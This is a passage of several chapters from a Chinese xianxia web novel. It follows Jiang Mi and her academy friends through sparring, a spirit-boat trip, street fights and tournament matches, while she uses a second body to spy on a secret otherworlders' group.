可当痛楚和视力的消失同时来临时,身体各项危险警报还是让她大脑短暂地处于停滞。 那道凶猛而危险的攻击就在眼前,却突然停住了。 圈中的两人都停止了攻击。 圈外的围观者一时不知发生了什么,竟没人发问。 而停下攻击的朱铭正满脸不可置信,一种被羞辱的气愤让他开口都是抖的:“你侮辱我!” 已经缓过劲儿的江弥歪头不解。 她眼里不见泪水,只泛着点红,歪头的动作有点呆,没人能想到她刚才经历了一场怎样的痛楚。 朱铭指向江弥的手发颤,随即朝下指向她的脚,失声怒喊:“你在瞧不起谁?!” 江弥低头,众人也跟着看去,顿时绷不住表情了。 江弥的脚后跟正踩在圈线上。 毫无疑问这场比试是精彩的,两人反应速度和力量上的博弈让人激动,他们心情甚至跟着跌宕紧张,眼看就要分出胜负。 江弥踩线了。 众人回想刚才的场景。 故意的。 江弥绝对是故意的。 “所以……这是什么意思?”钱川满脸茫然。 管玉忍不住冷嘲:“不想出风头呗。” 其他人满脑子问号,你管这叫不出风头?哪个有你江弥出的风头多?你没看到一号记住你了,二号对你恋恋不忘吗? 江弥看着朱铭,对方仍旧是“你给我说清楚”的气愤表情,她张了张嘴,解释不清,只好认同管玉说法:“嗯,低调点。” 有人忍不住“切”了声,然后更多的“你够了啊”“江弥你还要不要脸”“你这叫低调那没人比你更低调了”纷纷响起。 方教习适时插嘴:“好了,还有谁要找人切磋?不计入排名啊!” 管玉倒是想找江弥打一场,但就江弥刚才的态度,恐怕也不会好好打。 窝火,真的是极其窝火。 她狠狠瞪了江弥一眼。 江弥觉得自己无辜极了,理着一头卷毛走到旁边休息,其他学员对她嗤之以鼻地躲开,江弥也没太大反应,随地坐下给自己抹药—— 她受伤太频繁,医修嫌她占地方,于是给她药膏让她自己处理。 但江弥和朱铭一战后,其他比试很难再有同样紧张又刺激的感受,更多的则是不想训练,随便拉个熟人慢悠悠推拉偷懒。 嫌弃江弥的虽然很多,但佩服她的也不少。 最后两次挑战日,江弥还是按部就班的挑战了六号和七号,毫无疑问挑战成功,但其他人看她的表情都十分难言,就是那种“早看穿你了还装?”“扮猪吃虎你还没玩够?”的无语。 孙柏柔得知江弥排名第五时还十分高兴:“这样一来,崔大周三我和你都可以参加比赛了!” 江弥:“李二呢?” 孙柏柔说:“一阶里留下来的大部分是专修一道进入甲楼的,只是单纯的五行术,比起星修兵修和巫修不那么占优势。” 江弥好奇:“不都是转化成术?” 孙柏柔摇头:“不是这样的,之所以将这些称之为道,是因为一旦入道,力量就会发生质的变化,修行的术威力也更强,这些都会在识界中呈现。” 江弥露出若有所思的表情。 孙柏柔说:“你不要急,想清楚再选。” 挑选出参赛人员后,特训小队也就解散了,心一院给他们放了一天假用来调整心态和身体状况。 江弥打算去藏书阁,被孙柏柔几人推着拉着往外走:“休息一下又不会死,走走走,我们去做赛前放松。” 周三忽然伸手戳江弥,他带上了星辰之力,江弥下意识抬手反击,被一把抓住手腕按住动作。 周三抓着她的手晃了晃:“你绷得太紧,对比赛不好。” 崔大闻言也将手伸到周三跟前:“也帮我看看紧不紧,总觉得有点勒。” 周三一把拍开他的手,用力锤了下他胸口,发出沉闷声响:“你都长肌肉了能不勒?衣服让教习给你换件大码吧!” 李二闻言也上去凑热闹:“我呢我呢?” 孙柏柔笑着看他们闹闹哄哄的,时不时插上两句。 江弥跟在四人身后,一边听他们说话,一边关注西舍的第二体。 这段时间第二体一直在炼化古字和恢复中度过。 江弥不敢让她画上最后一笔,只是将其炼化到最后一步然后塞入识界的河水中。 识界右边的气也变多,却非像之前那般四散游离,光点多到某个临界点后忽然被某股力量聚拢般,形成一层光点组成的台阶,虚幻漂亮。 这就是踏仙梯。 但要实质化还要不少时间。 仙梯旁还有两枚古字在偷偷吸收光点。 江弥当做没看到,只要不过分,她还是很大度的。 “江弥?”孙柏柔回来牵着江弥的手,奇怪问,“在想什么,你掉队了呀。” 崔大和李二不知怎么你来我往打起来,听到叫江弥的声音,崔大回敬对方一脚然后望过来喊:“江弥准备喊哥!” “靠!突然加码!”李二抬手格挡,随后借力一跃,屈膝攻他太阳穴,也朝江弥道:“马上让你喊二哥!” “什么什么?喊哥?加我一个!”神游天外的周三猛地回过神,两三步窜过去加入战局。 三人就这样打起来了。 江弥:“……”你们还不死心啊! 孙柏柔搂着江弥胳膊忽然说:“不能让这些臭男生得逞,不然先喊我声姐?” 江弥还没说话,周三耳尖听到怒喊:“孙小柔你暗度陈仓不厚道!” 崔大刚躲开两人一拳一掌,甩着发麻的手臂也喊:“孙柏柔一视同仁!来不来?” 孙柏柔平日柔柔弱弱的,但能在甲楼修行,还在特训队中排名前十留下来,就不会真的柔弱。 她松开江弥也认真起来:“我也加入!” 江弥拉了下孙柏柔:“我没答应……” 孙柏柔压根不听她说的,按住江弥道:“你在这站着,不赢回来我喊你姐。” 说着她手上气雾笼罩,将那双纤细的手衬得如玉般盈透,孙柏柔朝他们道:“体术我不及你们,用术吧。” “那好说啊!”周三抬脚就用上了星辰之力,李二被突然爆发的威力砸出老远,他从坑里爬起来怒骂:“三儿你个阴崽儿!” 那边两人打起来,这边孙柏柔一出手,崔大用来防御的气就被寸寸捏碎,他甩手一挥,手中凝聚一柄剑笑道:“孙小柔,别留手啊!” “也是,我们还没认真打过。”孙柏柔手指拂动,气雾消失,转而解开腰间从不离身的皮袋,取出一根蓍草在指尖翻转。 江弥没见过孙柏柔施术,只知她修巫会背各种巫理和药理知识,经常被折磨得苦不堪言。 此时看孙柏柔手中蓍草带着某种玄妙之意,也不管他们是不是动真格,总归不会死人,于是找个视野不错的草地坐下来。 然而孙柏柔的蓍草才刚出手,被一剑从后方飞来按在地上,接着就是十分熟悉且欠揍的声音:“打赢喊哥?算上小爷一个!小爷让你们都哭着喊哥哥!” 孙柏柔看着折断的蓍草,没忍住气笑了:“齐狗!” 齐乐身后几个小弟也跑来,一群小流氓做派。 “喊谁狗呢!要喊齐哥。” “喊咱声哥就放过你,哈哈哈!” “孙小柔你不要太嚣张了,小心哥——嗷!” 这是被孙柏柔的蓍草打飞了。 齐乐骂咧了句,但没和孙柏柔动手,转道冲向崔大,嘴里哼道:“小爷不跟女人打,大傻接招!” 孙柏柔对付齐乐等人从不单枪匹马,打架还好,主要是他们还要打嘴炮,她又不可能跟一群混混对骂,于是跑去找打得热火朝天的李二和周三:“齐乐要江弥喊哥!” 打得忘乎所以几乎忘了赌注的两人:“什么?!” “打什么打,揍齐狗去!” “腿拿下来,走走走!” 李二周三跑来联合崔大围攻齐乐,在一旁加油呐喊的小弟不干了。 “你们不讲武德!” “操!老大被欺负了,我们上!” “去那边拦住二傻,他要偷袭!这个卑鄙小人!” 几个小弟的加入让战局简直混乱成一团。 要去上课的学员抱着书一边走一边回头看热闹,走着走着一头撞树干上,不远处的学员看到大笑,一过来,嚯,打架呢!快来看热闹啊! 没多久,围观人挤成一团,江弥坐在中间反倒不起眼,她一边注意炼化古字的第二体,一边撑着额头看着边打 30. 030 《他们要我成为异世大佬》全本免费阅读 江弥再次坐上了灵舟。 上一次坐灵舟还是因身份审查去三堂,但那时她只顾着思考身份审查的事,没有太多心思观察。 半空中灵舟快速前进,细微的咔咔声从内部传来,那是灵舟上的术纹在有条不紊地运转,推动船身前进。 稀薄的云雾从眼前飘过,却丝毫无法靠近灵舟。 江弥趴在木舷边往下看,连绵的绿山青水中藏着几户乡野人家,往前能看到犹如精巧模型的城郭建筑,人群蚂蚁般进进出出,看上去很热闹。 启蒙院收留的幸存者分两类,一种是即将踏入道途的孩子,一种是等待一年观察期结束后离开的成人,这些成人担任大部分后勤工作,除却他们、教习和跟着教习外出的执法学长,其他学员不能随意外出。 对于鲜少出来的学员们,即便比赛前少不了紧张,也还是很激动,各个趴在灵舟上往下看,争相说着自己看到什么。 “谭鑫!你给我老实带着别乱动!”带队的姜教习不知发出了第几次怒吼。 少年声音平静地辩解:“我没动手。” 姜教习怒道:“你没动手,你动的脚!” 谭鑫盯着灵舟上的术纹,浅淡光芒正在缓慢转动,他有些可惜地收了脚,嘴里还在解释:“这个术纹看上去不是核心。” “不是核心你也不能踹!”姜教习简直糟心不已。 这群小的咋咋呼呼就算了,怎么这些稳重老成的也不让人省心。 邢歌和寒鹃恰好路过,姜教习朝两人招手:“你们来来来,把他带走,别让他靠近术纹。” 寒鹃直接用星线将谭鑫捆成蛹拖走,路过地板上术纹时谭鑫要开口,一捆星线直接堵住他嘴。 邢歌习以为常地跟在两人身后。 江弥从这几人身上收回目光,转头就看到孙柏柔去拽准备跳灵舟的崔大,结果一把薅住他头发。 一跃而下又在半空停滞的崔大发出惊天惨叫:“孙小柔你想我秃顶吗?!!” 这声凄厉大喊让蠢蠢欲动的周三立马歇了心思。 孙柏柔吓得手忙脚乱,压根忘了用术,硬生生扯着头发将崔大拉上灵舟,惨叫哀嚎声响彻整个灵舟。 江弥往旁边退了三步。 周三吹着口哨仰头看金色云霞。 那些准备跳灵舟和阻止跳灵舟以及伸手抓云的学员只觉得面皮紧绷,头皮发麻。 可怕。 太可怕了。 孙柏柔甩掉手里的头发,扶着剧烈跳动的胸口,一抬头,见众人正神色各异地看着自己,她忽然脸色爆红,柔弱地解释:“我……我平时不这样的。” “那位学员!”灵舟不远处姜教习朝这边喊。 孙柏柔跟着望去,左右看了眼疑惑指自己,姜教习点点头说,“这里缺一个巡逻的,就你吧。” 孙柏柔怔怔点头,忽然就听姜教习继续对捧着扯掉头发含泪的崔大说:“你也一起。” 猛然想通的孙柏柔:“……”我的清白名声! 事实证明,姜教习还是很有用人之能的,至少孙柏柔和崔大巡逻期间就没人再尝试跳灵舟了。 下灵舟时孙柏柔抱着江弥的胳膊又气又羞,崔大一开口孙柏柔就抬眼瞪他。 还在为自己头发哀悼的崔大张口要喊冤,手里的头发忽然就烧起来,不过眨眼只剩一撮黑灰。 崔大:“……” “就为点头发哭爹喊娘,还是不是男人。”齐乐拍拍手从崔大身边走过,潇洒一挥手:“小爷帮你解决了,不用谢。” 崔大盯着那搓灰一秒,两秒,三秒。 “啊啊啊啊齐狗老子日你啊!” “小爷是在帮你!大傻你别不知好歹嗷嗷嗷!你敢烧小爷头发?!” “烧的就是你!大傻逼!” “靠!小爷是在帮你!你还烧!小爷头发没了你的头发也别想要!” “齐狗老子要杀了你!!!” 刚下灵舟的钱川看到追赶咆哮的两人,感叹:“真有活力啊!我还在想比赛该怎么办呢。” 朱铭从后面三两步走来,啧啧两声:“怎么说呢,总觉得江弥身边的人,都挺奇特。” 隔了两个人的江弥:“……我还在这里。” 朱铭探头朝她哈哈大笑:“夸奖!绝对是夸奖!” 中间的孙柏柔拿手盖住眼睛不忍再看,周三则抱着胳膊道:“崔大最近是不是脾气一点就爆?” 孙柏柔听闻去看崔大:“肝火旺吧,比赛完我给他调理调理。” 江弥:“……”谁头发烧了能不怒? 她脑海里忽然闪过那一汪流水般的长发。 这会儿教习还在灵舟上,江弥朱铭几人在最前方不动如山,后面下来的学员也就没人上来劝,于是一大帮子人就站在灵舟旁看这两傻子你烧我头发我烧你头发。 这处正是通往比赛场地的路口,除心一院的灵舟,其他院灵舟也陆陆续续停下,咆哮在一片空旷中特别醒目,其他院路过的学员都往这边瞧。 刚确定学员都下来的姜教习:“……” 转身的功夫你们又给闹上了? 同姜教习一起走来的梁教习目不斜视往前走,学员们也不看热闹了,跟着梁教习往比赛场地里面走。 姜教习将扭打成一团的两人撕开,怒斥一顿,然后领着剩下的学员进入场地。 崔大顶着一头焦黑走来,周三伸手摸了摸,头发直接变成灰扑簌簌落,眼看崔大快要哭出来的样子,周三好歹憋住了笑。 孙柏柔安慰:“没事,还能长,大不了我试着将生发剂弄出来。” “真能弄出生发剂?”齐乐本来都走出大老远,又跳着跑过来:“你要弄出来小爷跟你买。” 崔大怒道:“滚!” 为避免崔大再次跟人干起来直接被取消比赛资格,孙柏柔连忙说:“不卖不卖。” “小爷拿钱买——”齐乐说到一半江弥指着回头盯他们的教习说:“姜教习找你。” “啊?哦。”齐乐立马跑过去。 姜教习对齐乐说了两句,就见齐乐往自己脑袋摸了摸,又摸了摸,最后只剩一颗黑光锃亮的脑袋。 崔大看到这幕都不敢碰自己的头,江弥几人也只好当做没看到的样子继续往前走。 心一院到时已经有大半启蒙院到了,开幕式还没开始,大家都在自己的小团队里交头接耳小声聊天。 比赛场地划分三个片区,三个等级的参赛者在不同片区分散比赛。 二十三个院都聚集在片区外围,最前方的环形木台是用来讲话的,做赛前动员和介绍比赛规则。 讲话的是天诛院的修士,日月同辉徽纹十分醒目。 “各位学员们,我是谢初平,这场心宿友谊赛的负责人之一。在即将开始的五天比赛中,希望各位学员能在比赛……” 谢初平语调刻板严肃,很像她高中开学典礼的校长讲话,江弥有点走神,脑海里已经在想将第二体放出去。 难得出来一趟,可以测试第二体离本体最远距离。 冗长的讲话结束,他们随机拿到自己的号码后被各自教习领着去住处,这场比赛持续五天,期间他们可以自由活动。 “不要乱吃东西,别惹事,也别打架。” 方教习提前帮他们检查住的地方并分配好住宿后,和姜教习梁教习离开。 教习一走,年纪不大的男孩女孩们心思野了,相互约着要出去见识一番。 心一院的参赛选手中女孩不多,都分到一个院里。 孙柏柔来找江弥去找崔大周三汇合,门刚敲响,隔壁的管玉正巧出来,见到同样开门的江弥。 孙柏柔莫名觉得气氛凝滞了一秒。 管玉看了眼江弥,走向隔壁的隔壁房门道:“邢学姐,准备出发了。” 江弥面色如常和孙柏柔往外走,她们出去时经过邢歌房前的走廊。 邢歌开门就看到江弥两人。 江弥主动打招呼:“邢学姐。” 寒鹃这时也打开门,朝邢歌道:“走了?” 邢歌点头,转身关好门随她们往外,路过江弥时伸手按了下她的脑袋,小声说:“你们好好加油。” 三人身影消失后孙柏柔按着胸口长长呼了口气。 江弥看她:“怎么了?” 孙柏柔和她走出小院:“不知道,莫名就紧张起来,不过真好,邢学姐还愿意跟我们说话。总觉得邢学姐有点陌生,不太敢接近了。” 江弥想了想说:“和以前一样就好。” 孙柏柔:“也是,我想多了。” 住的地方离闹市不远,半个时辰就可到繁华街道,这会儿还愿意留在房间的人不多,一路走来,江弥还看到不少熟面孔。 “他们跑哪里去了?”孙柏柔没见着崔大周三,又和江弥往前走了一阵,仍旧没人影。 “是不是那里?”江弥指着前方簇围的人群。 孙柏柔心里有了不好的预感。 两人还没靠近就听到齐乐贱贱的语调:“我们这种货色怎么了?我们这种货色还瞧不上你们这群傻逼们!等比赛小爷打得你们哭爹喊娘!” 另一个声音轻蔑道:“你?区区一阶能打赢谁?” 孙柏柔顿时放下心来,不是崔大周三在跟人闹。 结果下秒就听那声音忽然换了个语气:“也不是不可以。我看你这颗光头倒是挺别致,同那边那个兄弟般配,不如你们先打一场,谁赢了,我赏谁一顿打。” 另外几个陌生笑着声音应和。 “看来一院是真的不行了,只拿得出这种东西参加比赛,我就说去年怎么退赛不比了。” “他们一院不就个陆怀能打,结果你猜怎么着,人家是潜藏在启蒙院的异世者,你说好笑不好笑?” “异世者光明正大压了咱们这么多年,一院的,你们看着是不是很爽?” 担心生事的孙柏柔刚挤进去,就见三五个少年面色鄙夷地将齐乐压在地上,接着听崔大呵笑一声。 “爽不爽我不知道,但看你们连异世者都打不过,是挺可笑的。怎么,打不过异世者,就来打学弟泄泄愤?” “你说什么?”一人站出来怒视崔大。 崔大的光头实在是太过显眼,以至于他只是站在那里就足够吸引目光。 他脸上没有平常嬉笑的表情,而是轻淡到让人觉得他在轻视:“我说,你们都是孬种,被异世者打击得连人也不做了,跟条疯狗一样四处咬人。” 猛然爆发的攻击如雷鸣扩散,瞬间将崔大击飞。 “崔大!” “崔大!” 附近人群被这一击余波震开,孙柏柔只感觉衣袖被烈风扬起,抬眼时崔大已经被轰出老远。 只有暗中警戒的周三勉强来得及弹出星线护住他心脉,却也只是缓冲了一瞬。 事情发生得太快,听到动静往这边赶来的邢歌几人也没来得及伸出援手。 就在这时,巨大波涛声由四面八方而来,众人同时感受到难言的压迫感,仿佛天边即将压下滚滚惊雷。 一声清稚的女孩低喊:“骇浪!” 刚凝聚成的繁复扭曲字纹化作无数清光飞速流走。 令众人沉闷的压迫凝聚成实质,无数清光变成水流在顷刻间汇聚成翻涌的海浪,海声滔滔,犹如直面被飓风卷涌而来的惊天骇浪。 面对磅礴的自然伟力,竟都生不出半点反抗。 汹涌波涛席卷而出,吞没轰飞出去的崔大,海水下暗藏的水势将缠绕在他身上的撕扯之力卸去。 海浪出现得极快,褪去也不过几息。 众人还未回过神,最后一汪碧水就在江弥脚边消散,露出被水卷来的崔大。 崔大躺在地上猛地咳出一滩血水。 江弥抬手按抚他的背,顺势将残余的“庇佑”也收回来——在孙柏柔挤进人群时被她一起送去了崔大身边。 “这是水属性符文?” “一阶不到能画出这么厉害的符文?开玩笑!” “是水术吧?威力虽然强,可维持时间短,太耗费气,使出这种水术后再难有反抗之力,比赛中很吃亏,不用放在心上。” 听到小声讨论后孙柏柔才从巨变中醒来,拨开人群速影到两人身边,探手点在崔大身上几个穴道,神色凝重地探查他情况。 周三也过来守在二人身旁,侧头问江弥:“你怎么样?” 两人过来时看江弥神色淡定,不像是有事的样子,本以为会得到一声“没事”,结果江弥说:“脱力了。” 不知为何,凝重的气氛陡然放松不少。 孙柏柔还有心思说笑:“等崔大治好了我让他背你回去。” 周三却道:“那我岂不是得一驮二。” 崔大捂着胸口勉强吐出一个带血的滚字。 江弥透过人群望向出手之人,只一击就让崔大来不及防御,她和周三出手也无法阻拦。 这就是不同阶层之间的差距。< 31. 031 《他们要我成为异世大佬》全本免费阅读 第二体从江弥身边离开,遁入人群拐角巷道。 “徐风”的笔画多是飘逸自由,像调皮小孩欢快,也像风霜老人徐缓,一个一个金色符号诞生,它们细细抖动着,如同活过来般。 最后一笔勾勒完成的瞬间,所有笔画聚拢,金光化作一股无形的风缓慢流转。 同时,江弥感受到一种能量消耗的虚弱感。 “清风”笼罩着第二体跟踪抹额少年身后,也卷走庭院里一片飘黄的树叶。 此时因教习到来而遁走的学员四处乱窜,抹额少年在其中并不显眼,他拐过数个深巷来到偏僻的无人之地。 忽然他停住脚步,声音低冷:“出来。” 控制第二体躲在拐角阴影里的江弥:“……” 抹额少年转身,目光锐利看向阴影处:“我知道你在那,别逼我动手。” 江弥:“……”到底怎么看出来的? 现在的第二体只能画出一个古字,解除“徐风”状态后无法再用其他古字,基本是手无缚鸡之力了。 出师未捷身先死。 抹额少年见对方还不现身,沉着脸积蓄气旋。 江弥控制第二体刚准备动,就听见与她拐角相邻的那面墙传来了女子的声音。 “为了隐藏你的身份不谨慎行事,还请见谅。” 那女子从阴影从走出,站在阳光下也还是个黑漆漆的立体影子,辨不出身体特征。 抹额少年仍是戒备状态,问:“谁派你来的?” 女子不答反问:“你心里不是已经有答案了?” 抹额少年拧着眉没说话。 女子轻笑声道:“你想好了吗?” 抹额少年抬眼盯着漆黑人影:“我不信你们。” 女子并未气恼,而是不紧不慢道:“三堂那位异世者你见过,他几乎屠尽一个世家,也还是落到被人囚禁凌辱的下场。天诛院设立机构司鉴,专门用于研究异世者的秘密,落入那里的人生不如死。来到这里的我们,只能沦为在阴暗里爬行的老鼠,不可笑吗?” 抹额少年目光冰冷。 女子语调一转,变得平和:“守望军就是为了让异世者自由组建的。你知道异世者是怎样的处境,这里不是游戏,有系统也无法与整个世界作对。在守望军中,我们拥有相同的立场,都想在这里活下去。我们是一样的人。” 不知是否被最后一句话触动,抹额少年态度松动,问她:“为什么选我?” 女子刚准备开口,少年冷声道:“我不需要冠冕堂皇的漂亮道理,你们拥有异世者众多,不会缺我一个。” “确实,守望军不缺你一个异世者,但我们缺潜伏在启蒙院的异世者。”女子似感慨道:“在你之前我们有合适人选,但很不幸,他被发现了。” 抹额少年想起今天的那场打斗,拧眉问:“你是说陆怀?” “你也知道啊,他本可以是很不错的帮手。”女子叹了声问他:“你考虑的如何?加入守望军,你会拥有并肩作战的伙伴,我们将是你的后盾。” 抹额少年的戒备神情一缓,但还是说:“我们这样的人交付信任并不容易,既然守望军是异世者后盾,那你们应该也不会拒绝为异世者报仇。” 女子可疑地沉默三秒,抹额少年说:“要我加入守望军可以,但我有一个条件,守望军——” “等等!”女子猛地回头。 江弥听到这个声音就心道不好。 抹额少年也立即警戒起来,他袖中双拳紧握,淡金萦绕其上,目光锐利扫过每个角落。 女人视线在墙角的阴影扫视,忽的融入阴影速至拐角另一面,空荡荡的街巷空无一人。 “触发线索:一片未知的落叶。” 女人看到面板上的提示,低头从墙角拾起一片落叶,叶片微黄,似是被风吹来的。 但附近没有一棵树。 抹额少年也意识到严重性:“有人?” “你先走。”女人收起落叶掠过少年融入阴影消失,少年却听到她的低声耳语。 “我名项昭昭,你的条件守望军接受。” 少年也不多做停留,几个瞬息不见踪影。 微风拂过无人知晓的角落,经过某个院落时江弥解除“徐风”,迅速收回第二体。 几乎就在第二体刚消失,立体黑影从院墙阴影中走出,目光犹如精密摄像头扫过每一处。 片刻后面板弹出消息:“土层有细微挤压,痕迹新鲜,推测时间三息前。” “那岂不是对方刚走我就来了?”女人思索:“什么术能在一息间消失?还是系统做的?” 她走动观察,忽然被石头绊了下,连忙稳住身体查看四周,放心下来。 “还好还好,没人看到。” · 确定第二体进入识界,江弥吊起的心放下。 和本体相隔不远的情况下她可以直接回收第二体,这是她敢将第二体放出去的原因。 守望军。 不会错的,那对兄弟就是守望军的。 江弥终于知道这个组织的名字。 守望军要在启蒙院插自己的人,于是接触陆怀,但陆怀身份暴露,所以找上抹额少年。 他们想做什么? 顾臣说过,陆怀尸体不见了,他们怀疑有人通风报信让陆怀逃了。 江弥的识界告诉她,陆怀的系统确实被她用作激活第二体,陆怀真的死了。 她还是更愿意相信守望军想出办法救走他了。 剧烈的疲倦陡然袭来,第二体外出加上本体气耗尽,江弥没能抵抗睡意。 第二天她被孙柏柔的敲门声惊醒,简单洗漱后头脑昏沉地跟着孙柏柔去赛场。 孙柏柔担忧问:“你脸色看起来不太好。” 江弥早已习惯这种疲倦感,摇头说:“我没事。” 两人在不同的片区,到了比赛场分开,江弥走到进入自己片区时收到几道投射来的目光。 “这里这里!” 朱铭站在比试台下朝江弥打招呼,江弥走过去,钱川问她:“你多少号?” 江弥:“101号。” 江弥的说话声没有刻意收敛,听到的人不少,立即就有人双手合十祈祷自己不要抽到101号。 钱川说:“昨天的事我们都听说了,你那一招浪来我没见到都觉得你酷!做得好!” “那几个看到没有?”朱铭示意从江弥进来就盯着她的几人。 江弥一一看去,他们朝她露出挑衅的笑。 朱铭说:“来者不善,他们的重点应该是你,一阶的比赛里也有专门对付你同伴。” 江弥皱了下眉:“对手不是随即匹配?” 朱铭提醒:“能在第一天比完三场的少之又少,以你的实力坚持到第二天绝对没问题,他们可以在你第二场结束后投放号码,被匹配到的可能性会大大提高。” 钱川补充:“还有决赛。” 决赛是积分挑战制,初始10积分,挑选对手比赛,赢者拿走输者一半积分,每人有三次发起挑战和三次接受挑战的机会,最终根据积分排名选择前十。 决赛的可操作性比初赛大多了。 江弥按下休息不足导致的烦躁,点头道谢。 参与比赛的二百三十人,片区有五个比试台,五场比赛同时进行,胜者号码放入号码池中,继续参与。 比赛时间随机,有的甚至一天都打不了一场。 江弥刚升起休息的念头就被叫到号码,方教习不知何时来到她身旁,拍着她的肩道:“给我打进决赛,平时胡闹就算了,比赛好好打。” 钱川扒拉过来问:“要是进不去决赛怎么办?” 方教习拳头捏得咯吱响:“说明今年特训力道不够,明年特训得加大训练。” 手都不知道断了多少次还不够?! 钱川连忙拉朱铭挡在自己前面。 朱铭:“……” 他也准备拉江弥挡着,但江弥已经往比试台走了。 心宿二十三院每个院都有值得关注的选手,江弥不在其中之列,但因昨天的事,她上台时引来不少目光。 五个比试台都围了人,围观最多的是三号台,那是管玉所在的比试台。 朱铭见江弥对手是谁后就往三号比试台走。 “你不看她比赛?”钱川跟在他身后问。 朱铭猛地站定,钱川差点撞他背上,朱铭问他:“你觉得江弥状态如何?” 钱川摇头:“不太好。” 但江弥平时就是这样,他也就没太放在心上。 朱铭指指台上眉心微皱的江弥:“她没休息好,就不会耐心过招。而她的对手在十一院排名第九,大概率会被——” “砰!” 台上的两人刚颔首,就见急速靠近的学员被惊天水浪强势拍飞出去,落在他们身前。 飞溅的水花喷了两人一脸水。 “一招秒。”朱铭补充后半句。 钱川抹了把脸:“我感受到她的烦躁了。” 当初只舍得对他用水针的人施展出这么大规模的水浪,只能是真没耐心对战下去。 台下的人还没反应过来,裁判宣判比赛结果:“心宿一院江弥胜。” 朱铭和钱川都朝往台下走的江弥竖了个大拇指。 江弥的一招秒在一院学员看来见怪不怪,其他院却都议论纷纷,明里暗里打听江弥的情况。 江弥穿过各种目光来到一院休息棚,抱着胳膊席地而坐,缩在角落休息。 准备再鼓励两句的方教习尴尬收回半空中的手,摸着脑袋去看梁教习,梁教习神色平淡看比赛,压根没在意他的窘状,方教习不得劲儿地咽下脱口的话。 一旁休息的学 32. 032 《他们要我成为异世大佬》全本免费阅读 系统提示停留五秒后消失。 抹额少年因突然出现的系统提示攻势一顿,从比赛开始就被压制的周三抓住机会飞速捏诀,使出寸星术。 一道星芒犹如长蛇飞窜出去,抹额少年只来得及抬手,却见星芒在接触到他长剑时分散成数十道细小星线,犹如闪电绞缠住他脖颈四肢,让他无法行动。 一瞬局势逆转。 孙柏柔激动得低喊:“就是这样!” 齐乐视线落在抹额少年表情上,对方被限制行动也不见慌张,他摇头说:“高兴太早了。” 话刚落就见绞缠的星线寸寸绷断,抹额少年因系统提示而停顿的攻势早已蓄力完成,最后的星线消失时气势陡然一变。 直面的周三感受最为明显,浓浓的压迫感让他浑身汗毛倒竖,这招非他能抵抗,他心中急迫想要躲避,却仿佛被无形的力量定在原地,无法动弹。 抹额少年的剑势缓且慢,不断吸纳的气呈现淡青色,犹如携带雷霆之力,比试台下都能感受到毁灭之意。 这一招若劈中,周三只剩半条命都是运气好。 孙柏柔焦急道:“三儿怎么不躲?” 同为兵修的齐乐看出门道,啧啧两声:“应该是‘震慑’或‘束缚’中的一个。区区一阶,竟然修成了暗术,这人不简单啊。” 孙柏柔没空听他分析:“怎么才能脱离——” “认输。”江弥忽然朝台上的周三道。 她的声音并不大,却在低声议论的嘈杂中十分鲜明。 旁人或许没察觉,但江弥看到了,这剑是借由系统力量使出的招式,便是二阶修士也不一定能应对。 周三没说话,抹额少年的毁灭之意割裂他皮肤,溢出的鲜血瞬间蒸发,他仍在奋力抵抗压制的力量,可动作却迟钝艰难。 江弥瞬至比试台边道:“周冷,认输!” 孙柏柔也大喊:“三儿!” 江弥明显感知到孙柏柔的喊声让抹额少年攻势更缓,那种不妙的心情越发鲜明,他接受了任务。 周三停下挣扎的动作,开口:“我认输。” 比赛中禁止私斗,认输意味着比赛结束。 几乎在他话刚出就消失在原地,剑势带着毁灭之意落到比试台上,瞬间化作木块乱飞。 凌厉的风裹挟木屑犹如飞箭四射,离得近的江弥只觉得风浪袭来,下秒就见或大或小的八角阵纹浮现,犹如捕捉四散游鱼的大网,精准拦住飞出比试台的木屑。 裁判放下周三,待烟尘散去收了阵纹,宣告比赛结果:“心宿十三院滕宝胜。” 此时比试台荡然无存,只剩抹额少年所在之地完好。 原本满脸傲色的抹额少年听到自己名字那瞬,闷了下,勉强维持着胜者姿态跳下比试台,结果就听到一声毫不掩饰的大笑—— “哈哈哈哈哈,滕宝,宝宝,哈哈哈,这是哪家没断奶的孩子?哎哟喂笑死小爷了!” 其他人听到这名字也低笑出声,但齐乐这明目张胆的笑声简直吸足火力。 滕宝一眼看向人群中的光头:“你笑什么?” 齐乐嘴又开始欠:“要不小爷帮你回忆你爹娘怎么喊你的?宝宝,哈哈哈,滕宝宝,喊你怎么不应啊,还是你也觉得很好笑?” 滕宝阴沉着脸持剑直指齐乐:“光头你再说一遍。” “怎么怎么,你还想打架?”齐乐摸着脑袋后退三步,面上惊慌去找同伴,看到一旁的孙柏柔,得到一记白眼,瞥见走来的周三,得到一声冷笑,再去看其他一院学员,没一人搭理他。 滕宝不做声,手中长剑嗡鸣作响,意欲开打。 齐乐望了一圈,但因他嘴欠没人帮他说话,还纷纷后退远离即将爆发的打斗,裁判也去找机关修士搭建比试台不在,齐乐只能凝气准备接招,嘴里还在贱贱地招人。 “触发支线任务:成功的道路上总会有无数垫脚石,恭喜你——” “禁止私斗。”江弥忽然开口,看热闹的众人目光聚在她身上,她强调:“比赛现场禁止私斗。” 正在发布任务的系统面板卡顿两秒,提示更改:“未满足支线任务触发条件,任务已中断。” 江弥将这些变化尽收眼底。 滕宝的任务并非固定,必须得满足一定条件才可触发,任务可变,那么孙柏柔的任务也并非没有办法解决。 滕宝冷眸看着江弥,孙柏柔忽然过来将她拉在身后,直视滕宝:“我们说得不对吗?” 齐乐一看有人站自己这边,瞬间气焰高涨,抬起下巴语气嚣张道:“没错啊,比试台下就是禁止打斗啊。” 周三按住伤口无语:“齐狗你闭嘴吧。” 滕宝没理其他人,而是缓了缓神色对孙柏柔说:“你说得对。” 孙柏柔一顿:“你,知道就好。” 滕宝问:“你叫什么?” 没明白对方怎么突然这么好说话,孙柏柔一脸懵地回答:“孙柏柔。” 滕宝若有所思地点头。 滕宝对孙柏柔的名字感兴趣了。 意识到这点,江弥立即打断滕宝的进一步试探,揽着孙柏柔的肩往后走:“去看三儿情况。” 孙柏柔瞬间将滕宝抛之脑后,去帮周三检查伤势。 江弥站在孙柏柔身后,若有似无地拦住身后的目光。 见齐乐还要去招惹滕宝,江弥觉得他就像在爽文男主面前蹦跶的炮灰,一个劲儿作死。 “崔大说比赛结果出来了立即告诉他。” 齐乐莫名看了说话的江弥一眼,又扭头去看身边其他人,指着自己问:“你在跟小爷说话?” 江弥用目光点了下正在给周三处理伤口的孙柏柔,又示意周边看热闹的人,一院学员隐隐被其他院排挤:“我得留在这里。” 